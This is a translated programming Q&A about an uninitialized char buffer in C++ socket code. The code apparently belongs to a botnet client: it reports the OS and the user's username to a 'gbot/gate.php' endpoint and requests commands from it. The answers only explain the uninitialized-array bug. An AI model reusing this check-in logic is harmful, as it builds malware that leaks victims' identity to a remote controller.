使用以下代码,程序总是进入if的else部分,而不是第一个 - 为什么?
char buffer[10000];
if(buffer[0] != '\0')
{
send(Socket, "GET /gbot/gate.php?page=get_cmd", strlen("GET /gbot/gate.php?page=get_cmd"), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
buffer[0] = '\0';
}
else
{
string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL){
mybuf += "windows&username=";
mybuf += getenv("username");
mybuf += "&version=win";
mybuf += "\r\n\r\n";
}
else
mybuf += "linux\r\n\r\n";
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
答案 0 :(得分:0)
你从未初始化char buffer[10000];
,因此缓冲区的内容是非确定性的。
答案 1 :(得分:0)
在IF语句之前初始化数组;
char buffer[10000];
for (int i = 0; i < 10000; i++)
buffer[i] = '1'; //you can initialize with any character except '\0' because you're testing for != in IF.